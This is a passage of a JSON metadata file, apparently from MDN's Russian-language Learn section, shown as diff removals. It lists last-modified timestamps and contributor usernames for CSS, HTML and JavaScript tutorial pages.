- "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Sizing_items_in_CSS": { - "modified": "2020-07-16T22:29:22.613Z", - "contributors": [ - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Styling_tables": { - "modified": "2020-07-16T22:28:18.695Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "Maxim-Bernashevsky" - ] - }, - "Learn/CSS/Building_blocks/The_box_model": { - "modified": "2020-11-06T13:09:05.376Z", - "contributors": [ - "at940266", - "AlexUS", - "mvictorl", - "velheor24", - "yedyharova22", - "matropsycat", - "k0w4lk", - "EmperorPeter3", - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Values_and_units": { - "modified": "2020-08-26T08:49:20.533Z", - "contributors": [ - "isakura313", - "shade0602", - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Каскад_задачи": { - "modified": "2020-10-01T14:31:53.395Z", - "contributors": [ - "at940266" - ] - }, - "Learn/CSS/Building_blocks/Селекторы": { - "modified": "2020-07-19T06:45:12.608Z", - "contributors": [ - "k0w4lk", - "Ivan961", - "BADNaMe-RK" - ] - }, - "Learn/CSS/Building_blocks/Селекторы/Attribute_selectors": { - "modified": "2020-10-08T15:38:42.541Z", - "contributors": [ - "at940266", - "k0w4lk", - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Селекторы/Combinators": { - "modified": "2020-12-07T19:30:35.658Z", - "contributors": [ - "RoPy73", - "at940266", - "anna.bunakova", - "sovushka-utrom", - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_pseudo-elements": { - "modified": "2020-10-14T14:08:41.639Z", - "contributors": [ - "at940266", - "anna.bunakova", - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Селекторы/Type_Class_and_ID_Selectors": { - "modified": "2020-10-07T14:15:51.046Z", - "contributors": [ - "at940266", - "ctmyxa", - "k0w4lk", - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Селекторы/Селекторы_Задачи": { - "modified": "2020-10-28T14:57:16.890Z", - "contributors": [ - "at940266" - ] - }, - "Learn/CSS/CSS_layout": { - "modified": "2020-11-04T06:48:54.216Z", - "contributors": [ - "chuuddo", - "rookhive", - "engine-r", - "opereverzeva", - "skrikl", - "marksq", - "valeryvitkus", - "chrisdavidmills" - ] - }, - "Learn/CSS/CSS_layout/Flexbox": { - "modified": "2020-07-28T14:20:24.419Z", - "contributors": [ - "Dmitrjj_Klat", - "shade0602", - "dastier", - "BuzzardSX", - "egorgrin", - "kublahanov", - "janglewood", - "greenkey", - "SukachevAlex", - "Shururup", - "AlexZetto", - "j-and", - "AlexSND", - "rhiter" - ] - }, - "Learn/CSS/CSS_layout/Floats": { - "modified": "2020-08-08T09:35:44.432Z", - "contributors": [ - "shade0602", - "sinai" - ] - }, - "Learn/CSS/CSS_layout/Floats_skills": { - "modified": "2020-09-01T06:51:07.528Z", - "contributors": [ - "shade0602" - ] - }, - "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension": { - "modified": "2020-07-16T22:27:25.007Z", - "contributors": [ - "mbalabash" - ] - }, - "Learn/CSS/CSS_layout/Grids": { - "modified": "2020-07-27T09:14:16.796Z", - "contributors": [ - "shade0602", - "Dissolvent", - "kublahanov", - "Dagger00", - "slychai85" - ] - }, - "Learn/CSS/CSS_layout/Introduction": { - "modified": "2020-07-19T12:27:41.774Z", - "contributors": [ - "nsvintitskiy", - "shade0602", - "Mkrtychiyants", - "krytoupapa", - "zlyh", - "Novo" - ] - }, - "Learn/CSS/CSS_layout/Positioning": { - "modified": "2020-09-01T06:46:51.887Z", - "contributors": [ - "shade0602" - ] - }, - "Learn/CSS/CSS_layout/Practical_positioning_examples": { - "modified": "2020-07-16T22:26:49.409Z", - "contributors": [ - "slychai85" - ] - }, - "Learn/CSS/CSS_layout/Макет_с_несколькими_столбцами": { - "modified": "2020-09-06T07:21:18.080Z", - "contributors": [ - "shade0602" - ] - }, - "Learn/CSS/CSS_layout/Навыки_Multicol": { - "modified": "2020-09-07T06:45:08.142Z", - "contributors": [ - "shade0602" - ] - }, - "Learn/CSS/CSS_layout/Навыки_позиционирования": { - "modified": "2020-09-07T06:09:02.193Z", - "contributors": [ - "shade0602" - ] - }, - "Learn/CSS/CSS_layout/Нормальный_поток": { - "modified": "2020-10-13T15:21:40.503Z", - "contributors": [ - "mvictorl", - "nsvintitskiy", - "SoMuchEffort" - ] - }, - "Learn/CSS/CSS_layout/Отзывчивый_дизайн": { - "modified": "2020-10-31T07:15:02.288Z", - "contributors": [ - "shade0602" - ] - }, - "Learn/CSS/CSS_properties": { - "modified": "2020-07-16T22:25:39.788Z", - "contributors": [ - "sviter" - ] - }, - "Learn/CSS/First_steps": { - "modified": "2020-07-16T22:27:40.530Z", - "contributors": [ - "Khaidarov-Dinar", - "Ivan961", - "karina-vas", - "ustyar", - "Tortik217", - "TheZavitaev" - ] - }, - "Learn/CSS/First_steps/Getting_started": { - "modified": "2020-07-16T22:27:52.241Z", - "contributors": [ - "Ivan961", - "Tortik217" - ] - }, - "Learn/CSS/First_steps/How_CSS_works": { - "modified": "2020-11-30T20:19:36.865Z", - "contributors": [ - "RoPy73", - "XrestRus", - "zhukov-daniil", - "Onberfrest", - "Shterneregen", - "Ivan961", - "Immdevrov" - ] - }, - "Learn/CSS/First_steps/Using_your_new_knowledge": { - "modified": "2020-12-03T17:31:51.841Z", - "contributors": [ - "RoPy73", - "Ivan961" - ] - }, - "Learn/CSS/First_steps/Как_структурирован_CSS": { - "modified": "2020-11-30T19:42:39.732Z", - "contributors": [ - "RoPy73", - "shade0602", - "Ivan961", - "Ultron5" - ] - }, - "Learn/CSS/First_steps/Что_такое_CSS": { - "modified": "2020-10-15T22:23:15.801Z", - "contributors": [ - "Ivan961", - "fedev", - "Tortik217" - ] - }, - "Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS": { - "modified": "2020-07-16T22:28:13.122Z", - "contributors": [ - "maxbo8", - "trman", - "VyacheslavLobanov" - ] - }, - "Learn/CSS/Styling_text": { - "modified": "2020-10-23T11:04:50.232Z", - "contributors": [ - "evstpet", - "vagifrg", - "maxbo8", - "aFoxy", - "snowydad", - "izhurav", - "pranay2063" - ] - }, - "Learn/CSS/Styling_text/Fundamentals": { - "modified": "2020-12-04T09:07:58.038Z", - "contributors": [ - "Vladimir_Grishechko", - "rokra2005" - ] - }, - "Learn/CSS/Styling_text/Styling_links": { - "modified": "2020-07-16T22:26:20.734Z", - "contributors": [ - "shade0602", - "fscholz", - "Warginal", - "nikolayandr" - ] - }, - "Learn/CSS/Styling_text/Веб_шрифты": { - "modified": "2020-07-19T10:10:59.329Z", - "contributors": [ - "nsvintitskiy", - "shade0602" - ] - }, - "Learn/CSS/Styling_text/Задание:_Стилизирование_школьного_сайта": { - "modified": "2020-07-16T22:26:27.408Z", - "contributors": [ - "shade0602" - ] - }, - "Learn/CSS/Styling_text/Стилизация_списков": { - "modified": "2020-07-16T22:26:14.698Z", - "contributors": [ - "shade0602", - "vedmibot" - ] - }, - "Learn/CSS/Как": { - "modified": "2020-07-16T22:25:44.184Z", - "contributors": [ - "code-timer", - "Shychara" - ] - }, - "Learn/Common_questions": { - "modified": "2020-07-16T22:35:26.905Z", - "contributors": [ - "gadjetron", - "stephaniehobson" - ] - }, - "Learn/Common_questions/Available_text_editors": { - "modified": "2020-07-16T22:35:49.507Z", - "contributors": [ - "Waterdark" - ] - }, - "Learn/Common_questions/Design_for_all_types_of_users": { - "modified": "2020-07-16T22:35:51.073Z", - "contributors": [ - "podocenov" - ] - }, - "Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine": { - "modified": "2020-12-06T08:00:45.465Z", - "contributors": [ - "valandis", - "zloypatrik88", - "Glazir", - "slychai85" - ] - }, - "Learn/Common_questions/How_much_does_it_cost": { - "modified": "2020-07-16T22:35:46.080Z", - "contributors": [ - "Mandy_May", - "lasteris" - ] - }, - "Learn/Common_questions/Thinking_before_coding": { - "modified": "2020-12-06T16:34:14.303Z", - "contributors": [ - "alkrukovsky", - "aleshkanet", - "GGWP" - ] - }, - "Learn/Common_questions/Upload_files_to_a_web_server": { - "modified": "2020-09-08T06:46:28.361Z", - "contributors": [ - "mykhailo.pradosh", - "Sireler", - "zumgluck", - "Sturmtiger" - ] - }, - "Learn/Common_questions/Using_Github_pages": { - "modified": "2020-07-16T22:35:52.047Z", - "contributors": [ - "slychai85" - ] - }, - "Learn/Common_questions/What_software_do_I_need": { - "modified": "2020-07-16T22:35:33.685Z", - "contributors": [ - "Sturmtiger", - "mr.raccoon.dev" - ] - }, - "Learn/Common_questions/set_up_a_local_testing_server": { - "modified": "2020-11-20T18:21:00.561Z", - "contributors": [ - "rsvato", - "Daerzo", - "masiacra", - "saniaky", - "slychai85", - "VladSum", - "llccought", - "mrtaracqk", - "lorsange", - "Npmb", - "cybspace", - "teedree" - ] - }, - "Learn/Discover_browser_developer_tools": { - "modified": "2020-07-16T22:35:48.058Z", - "contributors": [ - "mirajane23", - "fox67rus", - "Metallman", - "Dante103" - ] - }, - "Learn/Getting_started_with_the_web": { - "modified": "2020-07-17T07:11:41.531Z", - "contributors": [ - "leiner", - "Anonymous", - "RickRep", - "skapesec", - "BychekRU", - "dmitrytar", - "Evgeny_Kurkin", - "arbatskiy", - "BlizzardCode", - "Neir", - "Jeremie" - ] - }, - "Learn/Getting_started_with_the_web/CSS_basics": { - "modified": "2020-12-05T13:19:11.721Z", - "contributors": [ - "valandis", - "avdalyan", - "Anonymous", - "KhaalAramaj", - "skapesec", - "Egokorok", - "TimurShigapov", - "BychekRU", - "Evgeny_Kurkin", - "Tamplier13", - "Aleksej", - "KuzAlenka" - ] - }, - "Learn/Getting_started_with_the_web/Dealing_with_files": { - "modified": "2020-07-16T22:34:38.245Z", - "contributors": [ - "EA5", - "VladimirLogachev", - "a-klimantow", - "skapesec", - "Egokorok", - "popovichia", - "BychekRU", - "Evgeny_Kurkin", - "Unregistered45", - "Stopy", - "Semegen" - ] - }, - "Learn/Getting_started_with_the_web/HTML_basics": { - "modified": "2020-12-05T13:04:21.457Z", - "contributors": [ - "valandis", - "zuenko.michail", - "budaevw", - "bckpkol", - "VladimirLogachev", - "Yorgigiri", - "skapesec", - "Egokorok", - "kolanski", - "Denispok", - "rakuznetsov", - "balexander2", - "BychekRU", - "Stash_Venrici", - "runicelf", - "Evgeny_Kurkin", - "Igor_K.", - "rbakhilov" - ] - }, - "Learn/Getting_started_with_the_web/How_the_Web_works": { - "modified": "2020-11-11T16:01:15.006Z", - "contributors": [ - "Leenday", - "Anonymous", - "avdoshenkov", - "skapesec", - "TinaSuhanovskaya", - "BychekRU", - "runicelf", - "bracket", - "elcamlost" - ] - }, - "Learn/Getting_started_with_the_web/JavaScript_basics": { - "modified": "2020-12-06T06:38:17.396Z", - "contributors": [ - "valandis", - "Anonymous", - "sergeyshulzhenko", - "exarces", - "a-klimantow", - "VKhist", - "rinbik", - "skapesec", - "TimurShigapov", - "ktolik", - "Sania_JS", - "BychekRU", - "qdex", - "Evgeny_Kurkin", - "Fiksers", - "bulayeu", - "artem328", - "cs5chester", - "aos2006" - ] - }, - "Learn/Getting_started_with_the_web/Publishing_your_website": { - "modified": "2020-12-06T08:02:19.427Z", - "contributors": [ - "valandis", - "Anonymous", - "Sonntag09", - "valerii15298", - "AlexanderSpivak", - "mickgo", - "smo1in", - "skapesec", - "reksar", - "nikin93", - "Riptrip", - "IrinaShv", - "thelensky", - "roikefir", - "gnusee", - "romkadmitrievka1997", - "nemyxa", - "bondpuoq", - "Evgeny_Kurkin" - ] - }, - "Learn/Getting_started_with_the_web/What_will_your_website_look_like": { - "modified": "2020-07-16T22:34:19.490Z", - "contributors": [ - "skapesec", - "gitzizou", - "Egokorok", - "BychekRU", - "Evgeny_Kurkin", - "NOSOROG", - "Unregistered45", - "dm_glazunov" - ] - }, - "Learn/Getting_started_with_the_web/Веб_и_веб_стандарты": { - "modified": "2020-08-13T10:56:47.304Z", - "contributors": [ - "bogpok" - ] - }, - "Learn/Getting_started_with_the_web/Установка_базового_программного_обеспечения": { - "modified": "2020-07-16T22:34:11.219Z", - "contributors": [ - "Anonymous", - "skapesec", - "rapaich", - "Egokorok", - "gitzizou", - "boddik", - "BychekRU", - "Evgeny_Kurkin", - "Unregistered45", - "Neir" - ] - }, - "Learn/HTML": { - "modified": "2020-07-16T22:22:23.267Z", - "contributors": [ - "izhurav", - "skapesec", - "StrixG", - "AKonia", - "cezsored", - "BychekRU", - "Zevs" - ] - }, - "Learn/HTML/Forms": { - "modified": "2020-07-16T22:21:01.609Z", - "contributors": [ - "ryabv", - "shmel3", - "Zekkler", - "neizerth", - "PWasiliy", - "SeryiMysh", - "chrisdavidmills", - "GaidaiAndrii", - "bracket", - "Dmitrij" - ] - }, - "Learn/HTML/Forms/How_to_build_custom_form_widgets": { - "modified": "2020-07-16T22:21:58.194Z", - "contributors": [ - "Avrisia", - "outdever" - ] - }, - "Learn/HTML/Forms/How_to_structure_an_HTML_form": { - "modified": "2020-09-23T12:04:06.961Z", - "contributors": [ - "ryabv", - "BADNaMe-RK", - "outdever", - "Lapagirl", - "vedmibot", - "SeryiMysh" - ] - }, - "Learn/HTML/Forms/Sending_forms_through_JavaScript": { - "modified": "2020-11-20T12:05:04.254Z", - "contributors": [ - "lazyelf472" - ] - }, - "Learn/HTML/Forms/Styling_HTML_forms": { - "modified": "2020-07-16T22:21:32.230Z", - "contributors": [ - "8nabo" - ] - }, - "Learn/HTML/Forms/Валидация_формы": { - "modified": "2020-10-17T05:54:59.534Z", - "contributors": [ - "raylyanway", - "NadinHub", - "Hydrock", - "nikolai-shabalin", - "JediKnightIT", - "Ishayahu", - "LbIdarka", - "ivandoroshenko" - ] - }, - "Learn/HTML/Forms/Ваша_первая_HTML_форма": { - "modified": "2020-07-16T22:21:06.805Z", - "contributors": [ - "ryabv", - "deicer" - ] - }, - "Learn/HTML/Forms/Отправка_и_Получение_данных_формы": { - "modified": "2020-07-16T22:21:29.080Z", - "contributors": [ - "Shabu-Dabi", - "taletski", - "isetpro", - "melission", - "Kamikadze4GAME", - "ZveRuss", - "Dzmitry_K" - ] - }, - "Learn/HTML/Forms/Стандартные_виджеты_форм": { - "modified": "2020-12-02T02:50:19.864Z", - "contributors": [ - "kan0neego", - "lazyelf472", - "Галина", - "shade0602", - "outdever", - "Instantrec" - ] - }, - "Learn/HTML/Multimedia_and_embedding": { - "modified": "2020-10-19T09:47:40.553Z", - "contributors": [ - "vnezapno-ya", - "rokra2005", - "oleg3280", - "Potemkiin", - "alexfromvl", - "Khulagen" - ] - }, - "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies": { - "modified": "2020-08-09T06:54:55.688Z", - "contributors": [ - "Soffity", - "olga_ant", - "AlexChebanenko", - "shade0602", - "shmel3", - "nepiravno", - "wizardbil", - "ANetuk", - "jswisher", - "SoMuchEffort", - "Roman216" - ] - }, - "Learn/HTML/Multimedia_and_embedding/Responsive_images": { - "modified": "2020-12-01T05:25:47.513Z", - "contributors": [ - "Furestry", - "RoPy73", - "jynweythek", - "konstantin.k", - "petr012", - "CyberNinja2007", - "Zobakka", - "desentcare", - "Khaidarov-Dinar", - "meltsulaya", - "shade0602", - "ckomop0x", - "Roman11000", - "Bargamut", - "rhopos", - "airtwister", - "AnnaNeu", - "manayardmenkgtu", - "alexzimakov", - "fonpixel", - "RenusAvin", - "KuznetsEnvy" - ] - }, - "Learn/HTML/Multimedia_and_embedding/Video_and_audio_content": { - "modified": "2020-07-16T22:24:57.026Z", - "contributors": [ - "burevestnik-png", - "shade0602", - "wizardbil", - "Osbelkz", - "SedovDP", - "FeruzOripov" - ] - }, - "Learn/HTML/Multimedia_and_embedding/Добавление_r_graphics_to_the_Web": { - "modified": "2020-07-16T22:24:41.779Z", - "contributors": [ - "Khaidarov-Dinar", - "nepiravno", - "AlexChebanenko", - "shade0602", - "Why-are-you-crying", - "vedmibot" - ] - }, - "Learn/HTML/Multimedia_and_embedding/Изображения_в_HTML": { - "modified": "2020-07-16T22:24:48.013Z", - "contributors": [ - "qafarov33", - "shade0602", - "wizardbil", - "WorpSeal", - "xHelloverx", - "Zekller", - "Corba", - "orcee", - "nowember", - "Aleksey_Esev", - "KoS57", - "InRedikaWB", - "Kouler", - "AliyevHrn", - "sowdfr", - "tav1313" - ] - }, - "Learn/HTML/Multimedia_and_embedding/заставка_Mozilla": { - "modified": "2020-12-01T05:21:19.875Z", - "contributors": [ - "Furestry", - "RoPy73", - "Zekkler", - "AlekseyCorsello" - ] - }, - "Learn/HTML/Tables": { - "modified": "2020-11-02T02:08:26.971Z", - "contributors": [ - "AlexUS", - "Excent163", - "Khaidarov-Dinar", - "streetsummit", - "skapesec", - "mariag" - ] - }, - "Learn/HTML/Tables/Advanced": { - "modified": "2020-11-21T11:20:38.881Z", - "contributors": [ - "RoPy73", - "evstpet", - "Zobakka", - "Khaidarov-Dinar", - "Why-are-you-crying", - "Maxim-Bernashevsky" - ] - }, - "Learn/HTML/Tables/Basics": { - "modified": "2020-11-20T13:19:06.723Z", - "contributors": [ - "RoPy73", - "CyberNinja2007", - "Khaidarov-Dinar", - "Bergamot", - "nepiravno", - "slychai85", - "Maxim-Bernashevsky", - "mariag" - ] - }, - "Learn/HTML/Tables/Structuring_planet_data": { - "modified": "2020-07-16T22:25:30.870Z", - "contributors": [ - "Khaidarov-Dinar", - "Anonymous" - ] - }, - "Learn/HTML/Введение_в_HTML": { - "modified": "2020-07-16T22:22:52.967Z", - "contributors": [ - "boxa6", - "skapesec", - "VAskel", - "SedovDP", - "SergeyIrk", - "s1lver", - "alekaru", - "Denispok", - "AKonia", - "pk.prog", - "Vosik", - "Cyganov" - ] - }, - "Learn/HTML/Введение_в_HTML/Advanced_text_formatting": { - "modified": "2020-12-07T12:01:12.996Z", - "contributors": [ - "valandis", - "avdalyan", - "Ivan961", - "streetsummit", - "dkrukouski", - "boxa6", - "Bodyhealer", - "s.g.matinyan", - "Dzhabarovm", - "xap", - "Chugou9", - "slychai85", - "glebsc", - "pythonmag", - "FeruzOripov" - ] - }, - "Learn/HTML/Введение_в_HTML/Debugging_HTML": { - "modified": "2020-07-16T22:24:16.076Z", - "contributors": [ - "IlyaDanilovich", - "ekirpichyov", - "boxa6", - "krempson", - "thoughtspile", - "CruOne", - "MariyaSka" - ] - }, - "Learn/HTML/Введение_в_HTML/HTML_text_fundamentals": { - "modified": "2020-12-07T02:44:19.544Z", - "contributors": [ - "valandis", - "Vir", - "Ivan961", - "streetsummit", - "CLoud-Maker", - "exarces", - "4Realit", - "ndrxie", - "Hemonugi", - "boxa6", - "screenspace", - "a-klimantow", - "Tuman", - "nikin93" - ] - }, - "Learn/HTML/Введение_в_HTML/Marking_up_a_letter": { - "modified": "2020-12-07T13:58:43.781Z", - "contributors": [ - "valandis", - "Khaidarov-Dinar", - "shade0602", - "Janivar05", - "Darbestor", - "boxa6", - "Tuman", - "thoughtspile", - "saniaky" - ] - }, - "Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content": { - "modified": "2020-07-16T22:24:20.949Z", - "contributors": [ - "shade0602", - "H3llaFresh", - "boxa6", - "SenkevichEvgenii", - "Dzhabarovm", - "thoughtspile" - ] - }, - "Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML": { - "modified": "2020-12-06T13:02:48.159Z", - "contributors": [ - "valandis", - "Ivan961", - "streetsummit", - "AlexKost700", - "trman", - "boxa6", - "Bapen1k", - "SoMuchEffort", - "AlexeyIoffe", - "DenisYaschenko", - "hornuglan", - "reksar", - "AkulinaShark", - "saniaky", - "SergeyIrk", - "SergeySM", - "thoughtspile", - "nikin93", - "kolanski" - ] - }, - "Learn/HTML/Введение_в_HTML/Начало_работы": { - "modified": "2020-12-06T12:25:35.513Z", - "contributors": [ - "valandis", - "avdalyan", - "mirzoevtt", - "Ivan961", - "OlehMrB", - "boxa6", - "HelpVPS", - "SedovDP", - "Smekh", - "SoMuchEffort", - "AlexeyIoffe", - "buhman1974", - "Christisrisen", - "lexachsar", - "5iv1i73", - "SelenIT", - "SergeyIrk", - "ax2mx", - "StrixG", - "nikin93", - "thoughtspile", - "katerina_ti", - "zloyKrolik", - "Startsev", - "kolanski", - "AKonia" - ] - }, - "Learn/HTML/Введение_в_HTML/Создание_гиперссылок": { - "modified": "2020-12-07T04:48:22.214Z", - "contributors": [ - "valandis", - "Ivan961", - "Aalexashka", - "Hemonugi", - "boxa6", - "Bob-chemist", - "xap", - "Klevtcov", - "reksar", - "skapesec", - "Potemkiin", - "Nerill", - "Cruseir", - "thoughtspile", - "arturparkhisenko", - "nikin93" - ] - }, - "Learn/HTML/Введение_в_HTML/Структура_документа_и_веб-сайта": { - "modified": "2020-12-07T13:21:17.650Z", - "contributors": [ - "valandis", - "ana-karp", - "Ivan961", - "sergeyshulzhenko", - "Merius", - "boxa6", - "thoughtspile", - "Potemkiin", - "beloglazof", - "IrinaShv" - ] - }, - "Learn/HTML/Рецепты": { - "modified": "2020-07-16T22:22:30.849Z", - "contributors": [ - "PaRaD0XCORP", - "Rendjey", - "AKonia" - ] - }, - "Learn/How_the_Internet_works": { - "modified": "2020-08-13T11:15:09.762Z", - "contributors": [ - "bogpok", - "S-Sukhin", - "kss555", - "Sturmtiger", - "OrkVasya", - "andrey_fm", - "TinaSuhanovskaya", - "elcamlost" - ] - }, - "Learn/JavaScript": { - "modified": "2020-11-05T07:04:03.926Z", - "contributors": [ - "ksam", - "kristina.simakova", - "dkireev", - "Casper-SC", - "ConstantineZz", - "rinbik", - "welcometowonderland", - "pk.prog", - "pust0ta", - "umbrochcho", - "teoli" - ] - }, - "Learn/JavaScript/Asynchronous": { - "modified": "2020-10-10T21:18:05.427Z", - "contributors": [ - "sideshowbarker", - "Chukhryaev", - "Sheppy" - ] - }, - "Learn/JavaScript/Asynchronous/Async_await": { - "modified": "2020-10-17T08:02:13.017Z", - "contributors": [ - "Bucido" - ] - }, - "Learn/JavaScript/Asynchronous/Concepts": { - "modified": "2020-12-02T05:41:10.583Z", - "contributors": [ - "haltaction", - "KrasnovaM", - "snayp" - ] - }, - "Learn/JavaScript/Asynchronous/Introducing": { - "modified": "2020-09-19T16:05:46.059Z", - "contributors": [ - "Qnemes", - "pikeraft", - "KulkovaAnna", - "kjkoala", - "evgeniy.bilan93", - "d-goppen", - "MaxYenot" - ] - }, - "Learn/JavaScript/Asynchronous/Таймауты_и_интервалы": { - "modified": "2020-11-28T10:09:16.010Z", - "contributors": [ - "velheor24" - ] - }, - "Learn/JavaScript/Building_blocks": { - "modified": "2020-07-16T22:31:10.516Z", - "contributors": [ - "JojeeFleming", - "john-v87", - "ConstantineZz", - "Chugou9", - "web-arch", - "maxno62", - "mspunk", - "pepsikat", - "pust0ta", - "umbrochcho" - ] - }, - "Learn/JavaScript/Building_blocks/Build_your_own_function": { - "modified": "2020-07-16T22:31:31.342Z", - "contributors": [ - "chergav", - "ConstantineZz", - "slychai85" - ] - }, - "Learn/JavaScript/Building_blocks/Functions": { - "modified": "2020-11-19T11:11:58.455Z", - "contributors": [ - "Tartalon", - "chergav", - "ConstantineZz", - "Novo", - "Dmitrytbp", - "slychai85", - "irodger", - "Mikhail_Eltekov", - "Sparks" - ] - }, - "Learn/JavaScript/Building_blocks/Image_gallery": { - "modified": "2020-07-16T22:31:44.425Z", - "contributors": [ - "ellegre", - "ConstantineZz", - "slychai85", - "saniaky" - ] - }, - "Learn/JavaScript/Building_blocks/Looping_code": { - "modified": "2020-11-25T10:13:56.926Z", - "contributors": [ - "tetragidrohlorid", - "Tartalon", - "chergav", - "ConstantineZz", - "Chugou9", - "ohnoitsdasha", - "PavelDikiy", - "satori", - "Novo" - ] - }, - "Learn/JavaScript/Building_blocks/Return_values": { - "modified": "2020-07-16T22:31:34.747Z", - "contributors": [ - "sirartemis", - "slayermass", - "chergav", - "logty3", - "Rodionoff" - ] - }, - "Learn/JavaScript/Building_blocks/Test_your_skills:_Functions": { - "modified": "2020-09-06T19:14:23.282Z", - "contributors": [ - "randomesis" - ] - }, - "Learn/JavaScript/Building_blocks/conditionals": { - "modified": "2020-11-24T14:22:16.804Z", - "contributors": [ - "tetragidrohlorid", - "BulavkinNN", - "chergav", - "ConstantineZz", - "Chugou9", - "ohnoitsdasha", - "space-rider", - "Dmitrytbp", - "hasiev-elchin", - "fuckingRedBastard", - "evgor80", - "easydeads", - "mspunk", - "evgeniypotseluev" - ] - }, - "Learn/JavaScript/Building_blocks/События": { - "modified": "2020-08-14T06:15:51.092Z", - "contributors": [ - "bogpok", - "Bb1cTpeJI", - "artamonster", - "chergav", - "kryukalexander", - "ConstantineZz", - "Zibroff", - "vOICe-xx", - "CharlyLovegood", - "slychai85", - "Paul_Yuhnovich" - ] - }, - "Learn/JavaScript/Client-side_web_APIs": { - "modified": "2020-07-16T22:32:42.215Z", - "contributors": [ - "hisbvdis", - "Fiksers", - "wind-of", - "slychai85", - "qwerst13", - "MagicMight", - "Paul_Yuhnovich", - "chrisdavidmills" - ] - }, - "Learn/JavaScript/Client-side_web_APIs/Client-side_storage": { - "modified": "2020-07-16T22:33:07.262Z", - "contributors": [ - "DABgames", - "Egorix132", - "slayermass", - "kotokrad", - "Aparin", - "Paul_Yuhnovich" - ] - }, - "Learn/JavaScript/Client-side_web_APIs/Fetching_data": { - "modified": "2020-07-16T22:32:59.142Z", - "contributors": [ - "chergav", - "Vitaligo", - "sergeomak", - "n0ne", - "slychai85", - "ar4ell" - ] - }, - "Learn/JavaScript/Client-side_web_APIs/Introduction": { - "modified": "2020-10-17T16:01:51.786Z", - "contributors": [ - "kirillunlimited", - "tix836", - "wind-of", - "stasusov", - "alexbs", - "atomeon", - "slychai85", - "ezdodance" - ] - }, - "Learn/JavaScript/Client-side_web_APIs/Manipulating_documents": { - "modified": "2020-09-06T12:59:12.593Z", - "contributors": [ - "randomesis", - "wind-of", - "chergav", - "Aparin", - "jainashur", - "slychai85" - ] - }, - "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs": { - "modified": "2020-07-16T22:32:55.085Z", - "contributors": [ - "sergeomak" - ] - }, - "Learn/JavaScript/Howto": { - "modified": "2020-07-16T22:33:11.402Z", - "contributors": [ - "korsakov-kuzjma", - "paxarpp" - ] - }, - "Learn/JavaScript/Объекты": { - "modified": "2020-07-16T22:31:52.750Z", - "contributors": [ - "VoropN", - "injashkin", - "KomarovSergey", - "george-04" - ] - }, - "Learn/JavaScript/Объекты/Adding_bouncing_balls_features": { - "modified": "2020-07-16T22:32:35.948Z", - "contributors": [ - "Stexe", - "slychai85" - ] - }, - "Learn/JavaScript/Объекты/Inheritance": { - "modified": "2020-10-17T04:55:20.992Z", - "contributors": [ - "raylyanway", - "masawik", - "wind-of", - "injashkin", - "Aparin", - "AntonySawyer", - "slychai85" - ] - }, - "Learn/JavaScript/Объекты/JSON": { - "modified": "2020-07-16T22:32:28.868Z", - "contributors": [ - "Tatyana-c", - "pm3512", - "wind-of", - "NikitaOstapenko1205", - "boxa6", - "Lirikklimov", - "slychai85" - ] - }, - "Learn/JavaScript/Объекты/Object-oriented_JS": { - "modified": "2020-11-28T15:15:40.063Z", - "contributors": [ - "Tartalon", - "Viatcheslav-Malahov", - "wind-of", - "Detrimon", - "BadLame", - "ConstantineZz", - "ellegre", - "injashkin", - "NooNoo1337", - "Roman-Halenko", - "sergeomak", - "Elena_Petrenko", - "uandrew", - "slychai85", - "superpuper32", - "GennadyGlushenkov" - ] - }, - "Learn/JavaScript/Объекты/Object_building_practice": { - "modified": "2020-07-16T22:32:32.476Z", - "contributors": [ - "Slowball", - "benzin_kanister", - "ellegre", - "boxa6", - "slychai85" - ] - }, - "Learn/JavaScript/Объекты/Object_prototypes": { - "modified": "2020-07-16T22:32:22.353Z", - "contributors": [ - "wind-of", - "sahmildzhakeev", - "injashkin", - "Aparin", - "kplatova", - "NooNoo1337", - "VaselisaS", - "slychai85", - "arnoldovich", - "AndreySushentsov" - ] - }, - "Learn/JavaScript/Объекты/Основы": { - "modified": "2020-11-25T08:55:51.454Z", - "contributors": [ - "Tartalon", - "alexpikuta", - "wind-of", - "jynweythek", - "iwanttobealight", - "ConstantineZz", - "genesky", - "boxa6", - "injashkin", - "NooNoo1337", - "Dusmatoff", - "KoS57", - "slychai85", - "Jony_e", - "slowpokex", - "DoRightt", - "superpuper32" - ] - }, - "Learn/JavaScript/Первые_шаги": { - "modified": "2020-07-16T22:29:55.165Z", - "contributors": [ - "chrisdavidmills", - "boxa6", - "maxno62", - "Jertej", - "pepsikat", - "alekaru", - "a13xk", - "campside", - "werreour", - "tagir000" - ] - }, - "Learn/JavaScript/Первые_шаги/A_first_splash": { - "modified": "2020-09-18T19:59:13.793Z", - "contributors": [ - "aashch1", - "SphinxKnight", - "sirartemis", - "TurtleOld", - "wanvo", - "Novo", - "Shadow86", - "slychai85", - "TaizoGem", - "Rodionoff", - "st4nislava", - "AndrewSamofalov", - "warsan", - "SergeySM", - "lipav", - "InternetShelteredBoy", - "HaukIce", - "maicom64", - "fragmentbyte", - "kirabt123", - "Segyn", - "FIJN", - "alekaru" - ] - }, - "Learn/JavaScript/Первые_шаги/Arrays": { - "modified": "2020-07-16T22:30:57.680Z", - "contributors": [ - "SphinxKnight", - "Immdevrov", - "chergav", - "ConstantineZz", - "maksolimp", - "AliyevHrn", - "slychai85", - "10486", - "samofand", - "ArtyomIv" - ] - }, - "Learn/JavaScript/Первые_шаги/Math": { - "modified": "2020-07-16T22:30:28.347Z", - "contributors": [ - "podocenov", - "SphinxKnight", - "bsanzhiev", - "xxphantom", - "EugeneSvetlakov", - "ConstantineZz", - "galaxy3user", - "BerezkinBerezkin", - "y2k", - "Froris", - 